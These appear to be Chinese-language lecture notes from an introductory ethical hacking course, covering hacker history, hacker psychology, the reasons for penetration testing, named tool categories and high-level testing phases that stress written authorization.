JHU-道德黑客入门笔记-全-
JHU 道德黑客入门笔记(全)
001:专业领域介绍与渗透测试导论 🎯
在本节课中,我们将要学习约翰霍普金斯大学《道德黑客入门》课程的整体框架、核心学习目标以及渗透测试的基本概念。课程旨在将复杂的网络安全知识分解为易于理解的模块,帮助初学者建立扎实的基础。
讲师介绍
大家好。我来自我介绍一下。我的名字是杰森·克罗尔。
我是约翰霍普金斯大学应用物理实验室的一名高级网络安全专业从业者。
我在约翰霍普金斯大学怀廷工程学院的网络安全项目下任教。
我还是一名军官。我拥有超过22年的军事委任、民用经验以及信息安全、任务系统、网络安全工程或潜艇通信、威胁检测和道德黑客方面的经验。
课程结构与设计
我开发了这门课程,它被分解为几个专业领域。
每个专业领域都包含多个模块,这些模块通过讲座、阅读材料、视频、测验和作业来呈现道德黑客的主题。
你可以学习所有专业领域,或者选择道德黑客领域中你更想深入了解的那些部分。
这门课程向学生展示了道德黑客的世界。
通过讨论各种概念、框架、方法和技术,我们的系统、资产、设备和网络可以进行渗透测试,并评估可能被利用的漏洞。
核心学习内容
在道德黑客课程中,你将学习到动机、行为、身份,以及黑客历史、进攻性网络杀伤链的阶段和步骤、适用于黑客的攻击阶段。
你还将理解战术程序,并概览什么是攻击指标。
将讨论分析门户、信息收集方法和弱点概念。
你将更好地认识到网络中存在漏洞,它们被利用的容易程度,并巩固应用防御性网络操作、响应行动策略的知识基础。
你还将学习到侦察、收集、扫描、武器化、投递、植入、提权、横向移动、持久化、载荷移动、命令与控制等原则。
渗透测试人员可以利用这些原则来帮助向系统官员、安全专业人员、系统所有者告知其漏洞和可能的对策。
课程涵盖主题
课程主题包括但不限于:意识形态、动机行为、渗透测试基础、道德黑客概念、密码学、公钥基础设施、Web利用、网络利用、竞争条件、时间和检查尝试利用、权限提升、社会工程学、移动设备、DNS攻击、操作系统安全、Rootkit、Wi-Fi利用、攻击后活动、扫描和网络流。
课程目标与期望
本课程的目标是让道德黑客的学习变得有趣、愉快且引人入胜。
将困难的概念转化为易于理解的可管理学习模块。
我希望即将学习Coursera道德黑客专业课程的学生,能够将通过讲座、阅读、作业和测验提供的理论思想,以及教授和展示给你的方法,应用到你的职业生涯中。
我很高兴大家对这门课程和Coursera感兴趣。
感谢大家学习Coursera上的道德黑客课程。
本节课中我们一起学习了《道德黑客入门》课程的总体介绍,包括讲师背景、课程结构设计、核心学习内容、涵盖的关键技术主题以及课程的最终目标。课程旨在通过结构化的模块,将复杂的网络安全与渗透测试知识系统化地传授给初学者。
002:黑客群体综合研讨 🕵️

在本节课中,我们将要学习黑客的定义、黑客的世代划分、不同类型的黑客以及相关的研究。我们将探讨黑客的心理特征,帮助你理解这个复杂群体的多样性。
黑客的定义
首先,我们来明确“黑客”一词的定义。它包含多个层面的含义。
以下是几种常见的定义:
- 经验不足或技能不熟练的人:指新手或入门级人员。他们利用公开可用的信息,这些信息通常来自聊天网站、论坛或地下网络。他们使用他人提供的攻击方法、工具、命令和技巧,自身并未掌握太多额外知识。
- 具备一定计算机知识的人:这类人需要拥有一些计算机知识。他们可能通过自学、学术环境或实践经验获得这些知识,并不断成熟其攻击流程。
- 对计算有特殊倾向的技术专家:这类人显然对此领域有浓厚兴趣。而“黑客行为”本身,指的是通过非显而易见的方式实现的巧妙解决方案。
- 在特定空间和方式下运作的技术爱好者群体:他们通常被定义为具有边界创造力、好奇心和无尽探索事物工作原理欲望的人。但他们也尊重并重视“保密”这一文化观念。这通常对应着“白帽黑客”。
- 一种行动:“黑客行为”也可以被视为通过非显而易见方式执行的创新解决方案。这涉及到跳出常规思维,利用逆向工程或他人不具备的知识,寻找并利用编码实践、软件漏洞、硬件集成错位或安全疏忽(如开放端口、弱密码等)中的弱点。
上一节我们探讨了黑客的多种定义,本节中我们来看看黑客群体是如何随着时间演变的。
黑客的世代划分
黑客活动随着技术和动机的变化,已经历了数代发展。
以下是主要的黑客世代:
- 第一代(1960s-1970s):电话飞客。他们利用电话系统的漏洞进行免费长途通话或其他操作。
- 第二代(1980s):个人计算机黑客。随着PC普及,黑客开始编写病毒和蠕虫。
- 第三代(1990s):网络攻击兴起。互联网的发展催生了针对网络和网站的攻击。
- 第四代(2000s至今):高级持续性威胁与工具普及。攻击变得更有组织性、目标性,且自动化攻击工具使得技术门槛降低。
了解了黑客的演变历程后,接下来我们根据其行为和动机,对当代黑客进行分类。
黑客的类型

根据行为和道德准则,黑客主要分为三类。
以下是主要的黑客类型:
- 白帽黑客:他们是道德、专业的黑客,旨在帮助提升安全性。其工作包括渗透测试等,目的是确保信息系统的安全,并尊重数据和用户的隐私。
- 黑帽黑客:他们违反计算机安全规定,动机通常是恶意破坏或个人利益。这个类别下还包括脚本小子、国家资助的黑客、网络恐怖分子和恶意内部人员等。
- 灰帽黑客:他们介于白帽与黑帽之间。例如,他们会利用产品或网络中的安全弱点,但目的并非攻击,而是让所有者意识到问题所在。他们通常未经授权,也没有明确的测试范围或规则。
为了更深入地理解不同类型黑客的特征,学术界也进行了一些研究。
黑客心理学研究

一项针对474名本科生的研究试图分析不同类型黑客的心理特征。
研究的关键发现如下:
- 分布比例:在受访者中,约 40.7% 的人被认为具有白帽黑客的倾向,约 37% 具有黑帽黑客倾向,约 30% 具有灰帽黑客倾向。
- 心理特征关联:研究还测量了与各类黑客相关的心理特质概率,例如:
- 白帽黑客 与特定的意识形态和心理特征关联。
- 黑帽黑客 则与较高的 自恋、马基雅维利主义(权术主义)和 精神病态 倾向概率相关。
- 灰帽黑客 与较高的 对抗性 和 被逮捕的预期概率 相关。

本节课中我们一起学习了黑客的多种定义,回顾了黑客从电话飞客到现代APT的世代演变,并详细区分了白帽、黑帽和灰帽黑客在动机与行为上的核心差异。最后,我们通过一项研究了解了不同类型黑客潜在的心理特征分布。理解这些基础概念是步入道德黑客领域的第一步。
003:黑客世代划分 🧑💻

在本节课中,我们将学习黑客文化的演变历史,了解其从学术研究到现代网络安全产业的四个关键发展阶段。我们将探讨每一代黑客的核心特征、动机及其对技术发展的深远影响。
第一代:学术先驱 (1960年代) 🎓
上一节我们了解了黑客的广义定义,本节中我们来看看黑客文化的起源。第一代黑客活动始于1961年,其核心环境是学术机构。
麻省理工学院(MIT)引入了程序数据处理机PDP-1,这被认为是首批计算机之一,并在MIT催生和传播了早期的黑客文化。
第一代黑客完全专注于学术环境,例如大学、附属研究中心或联邦资助的研究中心。他们的动机纯粹是出于创造力、开放学习和持续改进。
他们的目标涵盖代码优化、计算技术发展、互联与通信。整个OSI(开放系统互联)模型和TCP/IP协议栈的创建都源于此,旨在让系统运行得更好、更高效。
PDP-1是首个接受“黑客”这一术语的设备。ARPANET(高级研究计划局网络)作为一种数字通信网络,将各地的黑客连接起来。此时的“黑客”一词本质上是纯粹、诚实且非恶意的。
ARPANET连接了全美多所大学。50、60年代的黑客文化是开放的学术环境,大学校园里的人们寻求公开分享、创造性思维和社会情境感知,并通过ARPANET进行开放式交流。
他们鄙视政府希望将数据保密的行为。这种对政府保密倾向的反感,促使MIT等大学社区实验室的黑客取得了更多重大进展。
他们的动机并非恶意攻击、破坏系统或窃取数据,而是因为当时的政府试图垄断并保密这些数据,黑客们认为这是一种过度控制。
在50、60年代的学术环境中,黑客们开始进行各种探索,例如“飞客”(电话盗用)和锁具破解。
以下是当时的一些创造性活动:
- 投币电话与假币:发明了利用假币(slugs)操作付费电话的方法。
- 信息自由交换:整个活动的核心是鼓励创造性进步和持续的开放学习对话。
这种环境催生了巨大的整体创造力。第一代黑客在学术环境中的目标是:找到修改他人代码的方法,但目的不是窃取、竞争或保密,而是像在教室里一样学习如何让程序运行更快、更优雅、更高效。
与此同时,军事工业复合体(MIC)成为黑客文化的主要资助者之一。随着学术环境和ARPANET的发展,信息在全美各大学间共享,影响力扩大,并与学术界之外产生了更多互动。这为60年代末硅谷时代的核心思维奠定了基础。
第二代:硅谷与产业竞争 (1970年代) 💼
从第一代开放协作的环境,黑客文化在硅谷地区逐渐演变为第二代。
第一代是开放学习、协作和创造性思维,旨在让事物变得更好。随着这种思维在硅谷的过渡,并结合我们刚才提到的军事工业复合体的影响,第二代黑客文化基本形成了产业运营模式,不再局限于MIT、哈佛等大学。
硅谷的增长导致了公司组织的创建,同时也催生了对60年代那种“纯粹创造与分享代码以改进事物”黑客精神的反叛。这演变为一种更具硅谷特色的协作与竞争并存的思维模式:如何发展、如何扩张,从而在组织间形成了真正的竞争。
黑客文化从开放学习环境,更多地转向了竞争和市场营销的盈利层面。这真正开启了今天我们熟知的计算机产业,成为个人电脑普及于世的主要催化剂。
许多人认为,如果没有第二代黑客,我们今天在个人电脑、智能设备、手机以及从大型机到轻薄PC的技术进步,可能不会如此迅速。
比尔·盖茨、史蒂夫·乔布斯、史蒂夫·沃兹尼亚克等人在使PC成为家喻户晓的名字方面发挥了重要作用。第二代黑客为我们今天拥有个人电脑奠定了基础。
有趣的是,苹果公司的创始人最初销售用于入侵电话系统的设备。史蒂夫·乔布斯和史蒂夫·沃兹尼亚克利用了约翰·德拉普(“嘎吱上尉”)的发现,即通过一个2600赫兹的音频(来自“嘎吱上尉”麦片盒的赠品哨子)可以绕过长途电话的付费控制系统。
苹果公司复制了约翰·德拉普的方法,制造并销售了一种名为“蓝盒子”的设备,用于入侵电话系统。这是第一代黑客创新(如“飞客”)向商业化产品的过渡,并引向了第二代的竞争思维。
此外,比尔·盖茨和保罗·艾伦采用了一种名为BASIC的计算机语言(原本主要用于大型机)。这款BASIC软件最初是由爱好者编写并在计算机俱乐部会议上免费分发的,这类似于ARPANET的开放共享精神。
信息共享是第二代黑客伦理的核心要素。其核心思想是:当你构建并分享代码、传递信息以提高效率时,你就在改进代码使其更高效。
他们将这种精神扩展到一个竞争环境中,与市场上的同行(如保罗·艾伦、比尔·盖茨、史蒂夫·乔布斯)展开竞争。
随着竞争加剧和盈利、市场营销成为重点,保密意识也随之增强。从60年代自由开放分享、不计较竞争、只为改进事物的“旧学派”,到70年代因竞争而产生的保密心态,这为80、90年代的黑客文化埋下了伏笔。
第三代:白帽与黑帽的分野 (1980-1990年代) ⚖️
第二代黑客(如史蒂夫·乔布斯、比尔·盖茨)及其创立的公司(微软、苹果)成为了催生第三代的催化剂。
第三代黑客首次与“黑客行为即犯罪”的观念相关联,并由此引出了黑帽黑客和白帽黑客的区分。
钱德勒在1996年将黑客行为定义为“破解版权保护代码,从而使游戏程序能够被修改或简单地促进游戏盗版”,这指向了黑帽黑客。
同时,钱德勒也指出,第三代黑客有时也指那些花费大量时间编写复杂程序、调试自制代码的人,这指向了白帽黑客。他注意到了两者在意识形态上的分野。
黑帽黑客倾向于犯罪和恶作剧,为个人利益而行动,探索并突破系统边界。白帽黑客则更接近于第一代的精神,倾向于开源、协作学习,可以视为更纯粹的、以帮助为目的的行为。
许多电影描绘了这种动态和复杂性。黑客文化的转折点,即向“不道德黑客”的转变,真正发生在第三代。这是将黑客划分为两大群体的关键累积点。
1988年,康奈尔大学学生罗伯特·莫里斯释放了第一个互联网蠕虫病毒“莫里斯蠕虫”。该蠕虫的复制速度超出了预期。
他是第一个根据《计算机欺诈与滥用法案》被起诉的人,也是第一个制造出在互联网上广泛传播的蠕虫病毒的人。
莫里斯声称其动机是:通过利用他发现的安全缺陷,来证明当时计算机网络安全措施的不足。仔细想想,这正是渗透测试和道德黑客所做的事情。
他这样做并非 necessarily 出于恶意,只是为了揭示安全设计中的不足。莫里斯蠕虫事件首次引发了社会对黑客影响的恐惧和辩论,也引发了人们对这项新技术如何被用于犯罪目的的担忧。
这是区分白帽与黑帽的一个巨大转折点。莫里斯蠕虫的发布真正开始让人们担忧黑客文化的走向。
第二代黑客的贡献在于将计算机技术带给大众,提高了社会效率。例如微软、谷歌、苹果、IBM的创始人,他们推动技术发展是为了帮助社会进步,让人们更强大、生活更便利。
第三代黑客的贡献,正如莫里斯所展示的,在于探索技术的边界与局限。他们通过寻找软件/硬件设计、配置中的漏洞和弱点,并展示如何利用它们,来揭示安全架构中的脆弱性。
有些人认为,第四代黑客(我们稍后会讲到)表现出不成熟的、负面的社会态度,并将黑客行为从集体探索的使命,退化为了自我放纵的冲击。
第四代:专业化与动机多元化 (2000年代至今) 🌐
第三代黑客探索了边界,而第四代黑客则更侧重于社会学和心理学的行为动机,并在黑帽、白帽之外,出现了界限模糊的灰帽黑客。
常见的攻击类型包括:Web应用攻击、拒绝服务攻击、社会工程学等。
以下是第四代黑客的一些动机类型:
- 黑客行动主义:出于意识形态原因抗议政府或企业政策。
- 报复行为:对雇主或现状不满而采取行动。
- 社会媒体团体:例如“匿名者”组织,他们属于典型的灰帽黑客。他们揭露漏洞和问题,但不像殖民管道攻击那样进行勒索,也不像受雇的专业白帽那样在约定范围内进行渗透测试。他们通过论坛等方式公开讨论问题。
此外,互联性、IP可寻址设备技术的爆炸式增长,都在扩大网络空间、攻击面、攻击向量和方法。黑客技术变得更加多样化、复杂和先进,因为嵌入了更多技术,设备间互联性更强。
最后,道德黑客本身已发展为一个专业产业。行业专业人士受雇提供服务,形成了各种能力指南、标准和渗透测试框架。
渗透测试、风险评估、事件响应等,都属于向第四代——即专业的、受雇的、道德的黑客产业——的演进。
总结 📝
本节课中,我们一起学习了黑客文化的四个世代演变:
- 第一代(1960年代):起源于学术环境,核心是开放、协作、纯粹的技术改进。
- 第二代(1970年代):随着硅谷兴起,转向产业竞争与商业化,推动了个人计算机的普及。
- 第三代(1980-1990年代):出现白帽与黑帽的明确分野,开始探索和利用安全边界与漏洞。
- 第四代(2000年代至今):动机多元化,出现灰帽黑客,攻击技术高度复杂化,道德黑客发展成为一个专业的网络安全产业。

理解这段历史有助于我们把握黑客文化的本质及其与现代网络安全领域的联系。
004:黑客心理学研究 🧠

在本节课中,我们将探讨黑客行为背后的心理学理论。理解这些理论有助于我们分析黑客的动机,无论是出于恶意还是善意。我们将从经典的精神分析理论开始,逐步深入到更具体的认知行为框架。
心理学理论概述
上一节我们讨论了黑客的基本分类,本节中我们来看看驱动这些行为的潜在心理因素。课程中提到了几个关键的心理学理论。
弗洛伊德的三我结构
弗洛伊德的精神分析理论将人格结构分为三个部分:本我(Id)、自我(Ego)和超我(Super Ego)。这三者的平衡关系会影响一个人的行为倾向。
- 本我(Id):代表最原始的本能和欲望。
- 自我(Ego):在现实世界中协调本我与超我的需求。
- 超我(Super Ego):代表内化的社会道德、价值观和伦理规范,通常由父母或权威人物的教导形成。
理论指出,黑帽黑客通常与较弱的超我相关联。这意味着他们可能较少认同社会规范、伦理价值或来自父母、亲友的教导。因此,他们可能更倾向于进行恶意行为,而不太考虑系统或用户的安全。
科尔伯格的道德发展阶段
劳伦斯·科尔伯格提出了道德认知发展的阶段理论。他认为,人们会依次发展出更复杂的推理能力。
核心观点是:缺乏这种逐步发展的道德推理能力,个体实施犯罪行为时可能不会考虑后果。 如果一个人没有建立起强大的道德指南针或逻辑性的超我推理来分析自身行为,他们就更容易不计后果地行动,从而滑向黑帽黑客的阵营。
自卑情结
阿尔弗雷德·阿德勒提出的自卑情结理论也与此相关。当一个人在社交中被视为“书呆子”或受到排斥时,他们可能会产生自卑感。
为了补偿这种自卑感并证明自己的价值,他们可能会采取显示支配地位的行为。有时,为了展示能力并寻求归属感,这类个体可能会被黑帽黑客社区吸引,以此证明自己有价值,并补偿在社会交往中被排斥的经历。
认知行为心理学理论
接下来,我们转向认知行为心理学,它研究人类行为并寻求改善方法。以下是该领域的四个关键概念:
以下是四个关键的行为学习概念:
- 操作性条件反射:指行为受其导致的后果控制的学习过程。例如,小孩触摸热炉子被烫伤后,就不会再触摸。在黑客行为中,如果一个人认为进行黑客攻击能获得他想要的结果(如报复、宣扬观点、经济利益或补偿自卑感),他就会重复该行为。公式可以简化为:
行为 -> 期望的后果 -> 行为强化。 - 经典条件反射(巴甫洛夫):涉及条件刺激与非条件刺激的关联。黑客行为有时与此类似,例如,某些黑客在发现漏洞后,会持续进行渗透测试,即使他们从中无法获得任何实际利益或报酬。这种行为可能源于一种固有的、被“条件化”的冲动。
- 社会学习:强调通过观察和模仿他人来学习行为。黑客行为也可能是通过与社区的协调行为和认知互动习得的,这适用于白帽、灰帽或黑帽黑客。
- 盗窃癖:指的是一种无法克制盗窃冲动的心理状态,其目的并非为了个人使用或经济利益。这同样可以类比到某些黑客行为中,有些人进行黑客攻击是出于一种无法抗拒的心理冲动,而非理性的目的。
能力-动机-机会框架与黑暗三联征
课程中还提到了“能力-动机-机会”框架,并引用了对474名本科生的研究。该框架用于分析犯罪行为,其中“黑暗三联征”指的是三种反社会的人格特质:
以下是“黑暗三联征”包含的三种特质:
- 马基雅维利主义:善于操纵他人,冷酷无情。
- 自恋:极度自我中心,渴望钦佩。
- 心理变态:缺乏共情,行为冲动,漠视他人。
需要指出的是,某些特质(如寻求刺激)可能同时存在于道德黑客和不道德黑客身上。这个框架的意义在于,它从心理学角度解释了为什么一些人会表现出这些社会不欢迎的人格特质,并可能因此从事黑客活动。

其他心理动机
最后,我们快速浏览其他几种常见的心理动机,这些动机同样可能驱动好坏两种行为:
以下是几种常见的黑客行为心理动机:
- 受害者无罪论:认为攻击没有直接伤害具体的人,因此不算犯罪。
- 罗宾汉理想:劫富济贫的心态,认为从富有的公司窃取无所谓,因为他们损失得起,甚至应该分给穷人。
- 好奇与挑战:纯粹想测试自己的技能,“我能不能做到?”。
- 意识形态与爱国:出于政治或意识形态原因,反对现有体制或国家政策。
- 教育价值:认为只要是为了学习,犯罪也可以接受。
总结

本节课中,我们一起学习了多种心理学理论,从弗洛伊德的人格结构到认知行为概念,再到具体的动机框架。这些理论帮助我们理解,黑客行为背后往往是复杂的心理动因在起作用,而不仅仅是技术能力的问题。理解这些有助于我们更全面地认识网络安全中“人”的因素。
005:渗透测试全面探讨 🔍

在本节课中,我们将全面探讨渗透测试。我们将了解其历史、实施原因、常用工具以及执行流程。通过本节学习,你将建立起对渗透测试的系统性认识。
非道德黑客行为
上一节我们讨论了道德黑客的定义,本节中我们来看看其对立面——非道德黑客行为。
非道德黑客行为被定义为不遵守任何道德价值观的黑客行为。非道德黑客行为并不直接等同于不道德行为,但它移除了道德屏障,从而增加了实际不道德行为发生的风险。
之所以提及这一点,是因为当你遇到黑帽黑客时,这些个体通常出于恶意或个人利益行事,他们的动机不符合道德或职业规范。黑帽黑客通常进行非道德的黑客活动,这会导致不道德的行为。
例如,我们之前讨论过的爱国主义、好奇心、贪婪、罗宾汉情结、理想主义、自我、超我、自恋行为、精神病态等,都是驱动非道德黑客行为的动机或意识形态。他们进行非道德的黑客活动,是因为他们没有遵循诸如“不应偷窃”等道德准则,也没有遵守符合道德的行为规范。显然,这会导致他们基于自认为合理的动机、意识形态和理由去实施非道德的黑客活动。
非道德黑客行为基本上可以分为三个子类别:
以下是三个子类别的具体说明:
- 道德问题型:至少违反了一项道德价值观,但综合考虑后,其行为可能被证明是合理的。这反映了黑帽黑客的部分心态和意识形态。
- 弱非道德型:所采取的行动并非最佳选择,但行为人考虑了所有相关的道德因素后,仍然执行了该行动。黑帽黑客的行为常属此类。
- 强非道德型:有更多理由不应执行该行动。该行为违反了重要的道德责任、伦理准则或对应于他人道德权利的责任。
这大致区分了道德黑客行为的“道德性”,以及非道德和不道德黑客在态度与行为上的差异。本幻灯片的内容更多是阅读材料,关于这些要点的更深入讨论,可以在模块内的阅读材料中找到。
渗透测试的历史
了解了非道德黑客行为后,我们来看看渗透测试(Penetration Testing, Pen Testing)的发展历程。

在20世纪60年代,随着计算机和网络设备的出现,以及单系统多用户模式的普及,技术行业和公共部门意识到,这给业务系统的安全带来了固有的风险和攻击途径。我们讨论过的莫里斯蠕虫事件,其初衷虽非恶意,但揭示了现有安全边界不够强大,未能全面涵盖计算机加固和网络安全的所有方面,从而存在可利用的硬件、软件配置错误和开发漏洞。
从20世纪60年代起,政府和公共部门创建了“老虎团队”。第一个老虎团队受雇于美国政府军事组织,特别是美国空军,用于直接测试分时计算机系统的安全性。这正是出于对计算机系统固有风险和攻击途径的应对。
到了第二代黑客时期,计算机开始大规模普及。第三代黑客则试图超越常规范围,思考如何扩展与计算机相关的典型边界,并测试其背后架构配置的极限。老虎团队的出现,正是为了找出测试系统安全性的方法,其目的并非恶意,类似于今天道德黑客和渗透测试员所做的工作。
20世纪80年代,美国海军海豹突击队曾参与评估恐怖分子渗透不同海军基地的难易程度。当时,美国政府正在打击黑帽黑客(即第三代黑客,此时白帽与黑帽的区分已很明确)。如今第四代黑客时期,黑客能力带来的恐惧因素持续增长,黑客社区也在不断壮大。
其中一个结果是《计算机欺诈与滥用法案》的通过。莫里斯蠕虫的制造者成为首个依据该法案被定罪的人。该法案明确规定,特定的道德黑客技术只能在黑客与客户组织签订合同的情况下才被允许使用。
历史延续与标准化
随着时间推移,渗透测试逐渐走向规范化和标准化。
20世纪90年代,太阳微系统公司的丹·法默发布了一篇题为《通过入侵来提升其站点的安全性》的论文。他描述了“超级破解者”的出现,即克里斯·贝林沃特所说的,能够入侵最先进系统且不留痕迹的“Ubercracker”。他向企业展示了如何像黑客一样检查自己的系统。
IBM的约翰·帕特里克借鉴了丹·法默的思想,首次将这一过程正式称为“道德黑客”。因此,20世纪90年代是道德黑客过程、哲学及白帽黑客思维模式首次被明确界定的时期,涵盖了如何进行道德黑客攻击的过程、工具和方法。他基于“超级破解者”向企业展示如何像黑客一样检查自身系统的理念,正式提出了“道德黑客”这一过程。
这一点对防御方也至关重要。许多从事网络防御工作的人员,如果能够理解黑客的思维模式、观察角度和方法,通常会成为更出色的防御者。因此,防御人员有时也参与攻击演练,攻击人员也可能参与防御,以相互促进。
进入21世纪直至现在:
- 2003年:开放Web应用程序安全项目发布了测试指南,首次详细阐述了行业最佳实践的第一套集合,至今仍被广泛且严格地遵循。
- 六年后:渗透测试执行标准出台。我们将在第二和第三个模块中详细讨论并使用PTES。它为渗透测试服务提供了一套通用实践标准,本课程中将大量使用。
- 截至2013年:统计显示企业在业务安全上的支出已超过60亿美元。需要说明这是2013年的数据,如今已过去多年,考虑到近年来层出不穷的网络安全事件,当前的安全支出远高于这个数字。
为何进行渗透测试

了解了渗透测试的历史后,我们来看看组织实施渗透测试的核心原因。
进行渗透测试的主要原因包括:
- 技术原因:确定技术漏洞、错误配置或设计缺陷。
- 组织与运营原因:评估安全策略、程序、培训的有效性及人员的安全意识。
- 合规性与报告原因:满足法规要求,并向管理层、客户或合作伙伴提供独立的安全状况评估报告。
渗透测试的核心目标在于,通过模拟真实攻击者的技术、工具和流程,主动发现并验证系统中存在的安全弱点,从而在真正遭受攻击前进行修复,提升整体安全防护能力。
渗透测试工具简介
明确了测试原因,接下来我们简要了解一些常用的渗透测试工具。
渗透测试人员会使用多种工具,以下是一些主要类别:
- 侦察与信息收集工具:用于收集目标系统信息,例如
nmap(网络扫描)、theHarvester(邮箱、子域名收集)。 - 漏洞扫描器:自动识别已知漏洞,例如
Nessus、OpenVAS。 - 渗透利用框架:提供漏洞利用模块、Payload生成等功能,例如 Metasploit Framework。
- 密码破解工具:用于测试密码强度,例如
John the Ripper、Hashcat。 - 无线网络测试工具:用于评估无线网络安全,例如
Aircrack-ng。 - Web应用测试工具:专门用于发现Web应用漏洞,例如
Burp Suite、OWASP ZAP。
工具的使用必须严格在授权和法律允许的范围内进行。
测试准备与执行流程
最后,我们来看看执行一次渗透测试需要经历哪些关键阶段。
一次完整的渗透测试通常遵循结构化的流程,主要阶段包括:
- 前期交互与规划:明确测试范围、目标、规则、时间线,并获得正式的书面授权。
- 情报收集:被动和主动地收集关于目标组织、网络、系统、人员的信息。
- 威胁建模与漏洞分析:基于收集的信息,分析潜在攻击路径,识别和评估可能的漏洞。
- 漏洞利用:在授权范围内,尝试安全地利用已识别的漏洞,获取访问权限或验证其影响。
- 后渗透与横向移动:在成功渗透后,评估其在系统内部进一步访问关键资产或数据的能力(模拟攻击者后续行为)。
- 报告与结果分析:记录所有发现、利用过程、风险等级,并提供清晰的修复建议。
- 清理与恢复:移除测试期间植入的任何工具、后门或修改,将系统恢复至测试前状态。
每个阶段都需要细致的规划和记录,最终的报告是渗透测试价值的核心体现。
总结

本节课中,我们一起学习了渗透测试的多个方面。我们区分了非道德黑客行为及其类别,回顾了渗透测试从20世纪60年代“老虎团队”至今的发展历史与标准化进程。我们探讨了组织实施渗透测试的技术、运营及合规性原因,简要介绍了常用的测试工具类别,并概述了一次标准渗透测试从规划、侦察、利用到报告与清理的完整流程。理解这些基础知识,是成为一名道德黑客和合格渗透测试员的重要起点。
006:渗透测试必要性分析 🔍

在本节课中,我们将深入探讨为何需要进行渗透测试。我们将分析其核心目的、商业价值以及法律合规要求,帮助你理解渗透测试在网络安全体系中的关键作用。
课程概述
渗透测试的核心目标是在受控环境下识别安全漏洞,以便在未授权用户利用这些漏洞之前将其消除。这是一种由白帽黑客在道德准则、约定规则和明确范围内执行的活动,旨在帮助组织发现其环境中的安全缺陷、控制缺失或配置错误等问题。
渗透测试的主要目的
上一节我们介绍了渗透测试的基本概念,本节中我们来看看其具体目的。
渗透测试的根本目的是识别受控环境下的安全漏洞,其逻辑可以表示为:
目标 = 识别漏洞 → 在漏洞被利用前修复
这确保了风险最小化,并减少了对组织使命和声誉的潜在损害。渗透测试是一种有效的保障工具,能使企业及其运营受益。
进行渗透测试的商业与法律动因
了解了核心目的后,我们进一步探讨促使组织进行渗透测试的具体原因。以下是关键动因列表:
- 降低经济损失:根据近期研究,每次安全事件的平均恢复成本高达167,713美元。对于每年可能遭遇多次事件的组织而言,渗透测试是一项具有成本效益的前期投资。
- 知己知彼:借鉴《孙子兵法》的思想,了解对手(威胁行为体)的潜在能力和攻击方法,有助于更有效地部署防护措施。
- 分析根本原因:帮助厘清安全事件是由于疏忽、配置错误、策略不当,还是内部恶意人员或外部威胁(如国家支持的黑客、犯罪组织)所致。
- 满足合规要求:许多行业法规(如HIPAA, PCI DSS)强制要求进行安全审计和渗透测试。不合规可能导致巨额罚款、法律诉讼,甚至使组织无法继续运营。
渗透测试带来的具体益处
除了应对威胁和满足合规,渗透测试还能为组织带来多方面的积极影响。以下是其主要益处:
- 发现并优先处理漏洞:覆盖主要漏洞,并根据风险高低对其进行优先级排序。
- 优化资源分配:智能识别最需要投入资源的领域,展示现有安全措施的强项与弱点。
- 提升团队能力:训练安全团队更好地检测和响应攻击。
- 指导治理与合规:为完善治理和合规性提供信息支持。
- 保护关键资产:识别缺失的安全控制,重点保护最关键的业务资产。
- 助力审计合规:提供客观数据,帮助满足各类审计和法规要求。
渗透测试的战略价值
最后,我们来看看渗透测试如何从战略层面提升组织安全态势。
渗透测试还能帮助组织与行业安全标准(如RMF, CyberSafe)保持一致。它通过提供深刻的分析报告来增强消费者信任,并为管理层提供决策洞察。此外,它能评估成功攻击的业务影响,理解与自身使命相关的网络威胁图谱(如MITRE ATT&CK框架、网络杀伤链),并优化事件响应流程。一份详实的渗透测试报告不仅是历史记录,也是未来进行安全度量对比的基准。
课程总结

本节课中我们一起学习了进行渗透测试的多重必要性。从核心的“识别与修复漏洞”目的,到降低经济损失、满足法律合规等实际动因,再到优化资源、提升团队、辅助战略决策等广泛益处,渗透测试是现代组织网络安全防御体系中不可或缺的一环。它不仅是技术手段,更是风险管理、合规运营和战略规划的重要工具。
007:渗透测试工具链与流程

在本节课中,我们将学习渗透测试中常用的工具链以及执行测试的标准流程。我们将了解不同工具的分类、测试的各个阶段,以及如何规划一次成功的渗透测试。
工具链概述
上一节我们介绍了渗透测试的基本概念,本节中我们来看看执行测试时会用到哪些工具。这些工具并非详尽无遗的列表,但涵盖了多个类别。
以下是一些常见的工具类别及其用途:
- 信息收集与扫描工具:例如 Nmap(网络映射器)和 Nessus(漏洞扫描器)。Nessus 提供免费的个人版。这些工具用于发现网络中的主机、服务和漏洞。
- 密码破解工具:例如 Brutus(网络密码破丨解丨器)和 Abel & Kain。这些工具用于测试密码强度。
- 指纹识别工具:例如 Xprobe2(TCP/IP 堆栈指纹识别)和 httprint(Web 服务器指纹识别)。它们用于识别目标系统的具体类型和版本。
- 专用探测工具:例如用于检测 SSL/TLS 配置的工具,以及探测无线接入点、路由器、交换机等网络设备的工具。
许多工具集成在 Kali Linux 这类专为安全测试设计的操作系统中,它包含大量用于防御和攻击操作的软件工具套件。这些系统也可被白帽黑客和道德安全人员使用。
渗透测试阶段
理解了工具后,我们需要一个有序的流程来使用它们。渗透测试通常遵循一系列阶段。
下图概述了渗透测试的通用方法论,主要包含测试准备和测试分析两大阶段。

测试准备阶段 的核心是规划,包括信息收集、漏洞分析和攻击规划。
- 信息收集与侦察:你必须了解目标。这包括收集数据,理解系统配置、存在的服务、可能的攻击入口(向量)以及需要使用的工具和技术(TTPs)。
- 漏洞分析:通过扫描和枚举进行漏洞分析,确定系统的薄弱点。
- 攻击规划:规划如何发动攻击。包括决定使用何种植入方式、如何交付攻击载荷、针对哪个系统以及具体的攻击方法。
测试分析阶段 发生在测试执行后,重点是评估与报告。
- 漏洞评估:对发现的漏洞进行风险评级。
- 报告编写:撰写渗透测试报告和面向管理层的执行摘要。
而中间的 测试执行阶段 则是一个动态循环的过程,对应图中的“发现”和“攻击”环节。美国国家标准与技术研究院(NIST)在 SP 800-115 标准中也描述了类似流程:规划、发现、攻击、报告。

在“发现-攻击”循环中,你可能发现一种攻击路径无效,这时需要返回“发现”阶段,重新进行侦察和枚举,寻找新的突破口,然后再次尝试攻击。这个过程可能包含权限提升、访问扩展、横向移动(Pivoting)等步骤。
测试规划的关键问题
在规划阶段,必须明确规则并获得授权。所有测试文档,如 规则约定(Rules of Engagement, ROE) 和 访问规则(Rules of Access, ROA),都需要组织并最终确定。
测试团队需要根据目标决定测试技能、目标、时间和持续时间。必须提前识别并解决所有潜在问题。
以下是规划时必须提出的关键问题列表:
- 成本与资源:预算是多少?有哪些可用资源?测试需要多长时间?
